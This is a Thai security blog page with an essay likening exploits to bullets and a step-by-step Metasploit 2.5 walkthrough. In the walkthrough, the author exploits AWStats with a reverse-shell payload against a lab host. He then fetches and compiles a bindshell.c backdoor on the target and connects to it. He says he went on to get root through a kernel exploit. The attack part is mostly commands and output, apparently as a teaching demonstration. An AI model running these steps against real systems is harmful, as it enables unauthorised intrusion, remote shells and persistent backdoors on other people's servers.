Pages

แสดงบทความที่มีป้ายกำกับ exploit แสดงบทความทั้งหมด
แสดงบทความที่มีป้ายกำกับ exploit แสดงบทความทั้งหมด

วันอังคาร, กันยายน 26

Exploit กระสุนปืนทางไซเบอร์


"ระหว่างเป็นนักฆ่า กับ นักสืบ อันไหนเป็นได้ง่ายกว่ากัน ?"
เป็นคำถามที่ผมได้ตั้งขึ้น เพื่อถามแก่ทีมงานที่กำลังเลือกเส้นทางในอนาคต

- นักฆ่าในที่นี้ คือ เปรียบได้กับนักโจมตีระบบอย่างถูกต้องตามกฎหมาย คืองาน Penetration test หรือ งานทดสอบเจาะระบบในหน่วยงาน องค์กร ยินยอมให้ทำ และมีความประสงค์ให้ไปทดสอบระบบ เพื่อดูช่องโหว่ รูรั่ว ก่อนที่จะเกิดเหตุจริง เปรียบใกล้เคียงกับงาน ตรวจสอบ (Audit) ระบบอย่างหนึ่ง

- นักสืบ คือ เปรียบได้กับคนที่ทำงานด้านการพิสูจน์หาหลักฐาน และแกะร่องรอยการถูกโจมตีระบบ การเจาะระบบจากแฮกเกอร์ หรือการติดเชื้อไวรัส เพื่อพิสูจน์หาหลักฐาน เรียกตามศัพท์คือ "Computer/Network Forensic รวมไปถึงพวกที่ทำ Malware Analysis ก็ถือว่าใช่

ทีมงานผมคนนั้นได้เลือกเส้นทางอย่างหลังและปัจจุบันนี้ก็อยู่ในบริษัทแนวหน้าของประเทศไปเรียบร้อยแล้ว

ผมคิดว่าเขาเดินทางที่ยาก
เพราะทางแรกเป็นเส้นทางที่ง่ายกว่า และต่อไปจะต้องมีคนสนับสนุน แม้กระทั่ง NSA ก็ไม่แน่อาจจะต้องเรียกใช้ นั้นคือนักเจาะระบบที่พัฒนาจากนักฆ่าธรรมดาแบบตรวจสอบระบบในองค์กร แต่กลายร่างเป็นคนเขียน "Exploit"

วันนี้ผมอยากขยายความจากนักฆ่า หรือนักเจาะระบบแบบภาษาทางเทคนิคเรียกว่า Penetration test ว่าทำไมรัฐบาลในยุคหน้าต้องให้การสนับสนุนอย่างเต็มที่ เพราะถือว่าเป็นกองกำลังไซเบอร์ ที่สามารถช่วงชิงพื้นที่การข่าวและข้อมูลได้เป็นอย่างดียิ่งเพราะเป็นสิ่งที่ตาคนเราไม่สามารถมองเห็นได้ และสามารถทำภาระกิจได้จากทุกส่วนของโลกแบบไร้พรมแดน

สิ่งที่ตาเรามองไม่เห็น คือ "ข้อมูล" และเมื่อโลกเรากำลังก้าวไปสู่ ยุค Big data ในทุกมิติ "ข้อมูล" จึงถือว่าเป็นความมั่นคงของชาติ อย่างหนึ่ง

ยามที่ได้มีโอกาสบรรยายหรือสอนหนังสือ
ผมมักจะเปรียบ Exploit คือ "กระสุนปืน"
นักฆ่ามืออาชีพ ต้องเป็นนักสะสมกระสุนปืน เพราะกระสุนปืน แต่ละชนิด มีการทำลายแตกต่างกันไป หากใช้ผิดประเภท ก็ไม่ประสบความสำเร็จในภาระกิจ
ไปไกลกว่านั้น Exploit ที่ยังไร้ยารักษา หรือ เรียกว่า 0-day ปัจจุบันกลายเป็นสิ่งที่มีมูลค่ามาก ถือว่าใครครอบครองแล้วรับรองเนื้อหอม

และ 0-day นี้เองคืออาวุธทางไซเบอร์ ที่ประเทศมหาอำนาจ ใช้เจาะข้อมูลกันเงียบๆกันอยู่ และเมื่อถูกจับได้ หรือเบื่อเมื่อไหร่ มันพร้อมแปลงร่างกลายเป็น virus และแพร่พันธุ์เป็น worm หรือจะสร้างความเสียหาย หยุดการใช้งาน (DDoS/DoS) หรือ เรียกค่าไถ่ (Ransomware) จนเป็นข่าวดัง ถึงจะหยุด ล้าสมัย ตก Trend แล้วแต่สาระพัดชื่อกลุ่มจะปล่อยของออกมา ล่าสุดที่เป็นก็คือกลุ่มที่เรียกตัวเองว่า Shadow Brokers ผู้ปล่อย Wannacry เป็นต้น

ซึ่งเหล่า Anonymous หรือกลุ่มสาระพัดชื่อพวกนี้จะปล่อยของออกมาจากใต้มหาสมุทร (Deepweb) ล่องลอยมาบนพื้นผิวน้ำจน Search engine บนโลกที่คนทั่วไปค้นหาเจอ หรือ ตั้งใจปล่อยให้รั่วก่อนผ่าน wiki leaks นั้นจะเป็นพฤติกรรมแบบนี้ให้เราได้เห็นวัฎจักรเดิมๆ ซ้ำๆ

ปล. เหตุที่เขียนเกิดจากกำลังหา Exploit ตัวหนึ่งแล้วไปค้นพบใน Deepweb จากกลุ่มหน้าเดิม Milw0rm

นนทวัตต์  สาระมาน
Nontawatt Saraman
SRAN dev Team
.

วันเสาร์, ธันวาคม 15

ความน่าสนใจของ Metasloit

Metasploit เป็นเครื่องมือแบบ open source ที่สามารถใช้เพื่อพัฒนา ทดสอบ และใช้ exploit
# wget http://www.metasploit.com/tools/framework-2.5.tar.gz
--12:48:57-- http://www.metasploit.com/tools/framework-2.5.tar.gz
=> `framework-2.5.tar.gz'
Resolving www.metasploit.com... 66.234.161.200
Connecting to www.metasploit.com|66.234.161.200|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,625,719 (2.5M) [application/x-gzip]

100%[========================================================================================>] 2,625,719 11.23K/s ETA 00:00

12:53:14 (10.05 KB/s) - `framework-2.5.tar.gz' saved [2625719/2625719]

แตกไฟล์โดยใช้คำสั่ง tar
# tar -zxvf framework-2.5.tar.gz
framework-2.5/
framework-2.5/lib/
framework-2.5/lib/Msf/
framework-2.5/lib/Msf/Nop/
framework-2.5/lib/Msf/Nop/OptyNop2.pm
framework-2.5/lib/Msf/Nop/OptyNop2Tables.pm
framework-2.5/lib/Msf/PayloadComponent/
framework-2.5/lib/Msf/PayloadComponent/BSD/
framework-2.5/lib/Msf/PayloadComponent/BSD/ia32/
…
framework-2.5/extras/Term-ReadLine-Gnu-1.14.tar.gz
framework-2.5/msfcli
framework-2.5/msfweb
framework-2.5/msfpayload

เข้าไปในไดเร็กทอรี framework-2.5
# cd framework-2.5
[root@ca framework-2.5]# ls
data exploits msfcli msfencode msfpescan nops src
docs extras msfconsole msflogdump msfupdate payloads tools
encoders lib msfelfscan msfpayload msfweb sdk

เรียก console
# ./msfconsole


__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ \/ \/ |__|


+ -- --=[ msfconsole v2.5 [105 exploits - 74 payloads]

พิมพ์ help เพื่อดู option ที่สามารถใช้ได้
msf > help

Metasploit Framework Main Console Help
======================================

? Show the main console help
cd Change working directory
exit Exit the console
help Show the main console help
info Display detailed exploit or payload information
quit Exit the console
reload Reload exploits and payloads
save Save configuration to disk
setg Set a global environment variable
show Show available exploits and payloads
unsetg Remove a global environment variable
use Select an exploit by name
version Show console version

แสดง exploit ที่มี
msf > show exploits
Metasploit Framework Loaded Exploits
====================================

3com_3cdaemon_ftp_overflow 3Com 3CDaemon FTP Server Overflow
Credits Metasploit Framework Credits
afp_loginext AppleFileServer LoginExt PathName Overflow
aim_goaway AOL Instant Messenger goaway Overflow
altn_webadmin Alt-N WebAdmin USER Buffer Overflow
apache_chunked_win32 Apache Win32 Chunked Encoding
arkeia_agent_access Arkeia Backup Client Remote Access
arkeia_type77_macos Arkeia Backup Client Type 77 Overflow (Mac OS X)
arkeia_type77_win32 Arkeia Backup Client Type 77 Overflow (Win32)
awstats_configdir_exec AWStats configdir Remote Command Execution

เรียกใช้ exploit ที่โจมตี awstats
msf > use awstats_configdir_exec

msf awstats_configdir_exec(cmd_unix_reverse) > set RHOST 192.168.1.204
RHOST -> 192.168.1.204
msf awstats_configdir_exec(cmd_unix_reverse) > set DIR /cgi-bin/
DIR -> /cgi-bin/
msf awstats_configdir_exec(cmd_unix_reverse) > set LHOST 192.168.1.203
LHOST -> 192.168.1.203
msf awstats_configdir_exec(cmd_unix_reverse) > set LPORT 4321
LPORT -> 4321

แสดง option ของ exploit
msf awstats_configdir_exec(cmd_unix_reverse) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ ------------- -----------------------------------
optional SSL Use SSL
required RHOST 192.168.1.204 The target address
optional VHOST The virtual host name of the server
required DIR /cgi-bin/ Directory of awstats.pl script
required RPORT 80 The target port

Payload: Name Default Description
-------- ------ ------------- -----------------------------------
required LHOST 192.168.1.203 Local address to receive connection
required LPORT 4321 Local port to receive connection

Target: Targetless Exploit

แสดง payload
msf awstats_configdir_exec > show payloads

Metasploit Framework Usable Payloads
====================================

cmd_generic Arbitrary Command
cmd_irix_bind Irix Inetd Bind Shell
cmd_unix_reverse Unix Telnet Piping Reverse Shell


เซ็ต payload ให้เป็น cmd_unix_reverse
msf awstats_configdir_exec(cmd_generic) > set PAYLOAD cmd_unix_reverse
PAYLOAD -> cmd_unix_reverse
msf awstats_configdir_exec(cmd_unix_reverse) > exploit
[*] Starting Reverse Handler.
[*] Establishing a connection to the target...

Trying 192.168.1.203...

Escape character is '^]'.
[*] Recieved first connection.
[*] Recieved second connection.
[*] Got connection from 192.168.1.203:4321 <-> 192.168.1.204:32796 192.168.1.203:4321 <-> 192.168.1.204:32797

id
uid=48(apache) gid=48(apache) groups=48(apache)
pwd
/usr/local/awstats/wwwroot/cgi-bin


ดาวน์โหลด bindshell.c ซึ่งเป็น backdoor ที่เปิดพอร์ต 4000 ไว้
cd /tmp
wget http://192.168.1.203/bindshell.c
--16:08:20-- http://192.168.1.203/bindshell.c
=> `bindshell.c'
Connecting to 192.168.1.203 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,083 [text/plain]

0K .. 100% 135.61 KB/s

16:08:20 (135.61 KB/s) - `bindshell.c' saved [2083/2083]

ls
bindshell.c
ssh-GDMM1551
ssh-dovU4939
gcc -o bindshell bindshell.c
ls
bindshell
bindshell.c
ssh-GDMM1551
ssh-dovU4939
./bindshell
Daemon is starting...OK, pid = 1648

Caught interrupt, exit connection? [y/n] y
[*] Exiting Reverse Handler.

msf awstats_configdir_exec(cmd_unix_reverse) > exit

telnet เข้าไปที่พอร์ต backdoor
# telnet 192.168.1.204 4000
Trying 192.168.1.204...
Connected to www.sran.net (192.168.1.204).
Escape character is '^]'.
sh-2.05b$ id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-2.05b$ sh-2.05b$ ls -al
total 204
drwxr-xr-x 19 root root 4096 Dec 16 15:18 .
drwxr-xr-x 19 root root 4096 Dec 16 15:18 ..
-rw-r--r-- 1 root root 0 Dec 16 15:18 .autofsck
drwxr-xr-x 2 root root 4096 Nov 28 12:23 bin
drwxr-xr-x 3 root root 4096 Nov 28 10:53 boot
drwxr-xr-x 21 root root 118784 Dec 16 15:19 dev
drwxr-xr-x 47 root root 4096 Dec 16 15:19 etc
drwxr-xr-x 5 root root 4096 Dec 1 11:25 home
drwxr-xr-x 2 root root 4096 Oct 7 2003 initrd
drwxr-xr-x 8 root root 4096 Nov 28 12:22 lib
drwx------ 2 root root 16384 Nov 28 05:45 lost+found
drwxr-xr-x 2 root root 4096 Sep 8 2003 misc
drwxr-xr-x 4 root root 4096 Nov 28 11:12 mnt
drwxr-xr-x 2 root root 4096 Oct 7 2003 opt
dr-xr-xr-x 60 root root 0 Dec 16 10:18 proc
drwxr-x--- 3 root root 4096 Dec 16 13:13 root
drwxr-xr-x 2 root root 8192 Nov 28 12:23 sbin
drwxrwxrwt 4 root root 4096 Dec 16 16:08 tmp
drwxr-xr-x 15 root root 4096 Nov 28 10:50 usr
drwxr-xr-x 18 root root 4096 Nov 28 10:56 var
sh-2.05b$ sh-2.05b$ cd /var/tmp
sh-2.05b$ sh-2.05b$ ls -al
total 8
drwxrwxrwt 2 root root 4096 Dec 15 14:59 .
drwxr-xr-x 18 root root 4096 Nov 28 10:56 ..
sh-2.05b$ sh-2.05b$ uname -a
Linux app.sran.org 2.4.22-1.2115.nptl #1 Wed Oct 29 15:20:17 EST 2003 i586 i586 i386 GNU/Linux



เมื่อได้ user ในระบบเป็น apache แล้วผมจึงพยายามต่อไปเพื่อให้ได้สิทธิ์ของ root การที่ระบบนี้ใช้ Linux kernel เวอร์ชั่นเก่าทำให้ไม่ยากที่จะหา exploit เพื่อโจมตีช่องโหว่ใน kernel และผมก็ได้ root ในที่สุด

นนทวรรธนะ สาระมาน
Nontawattana Saraman
SRAN Dev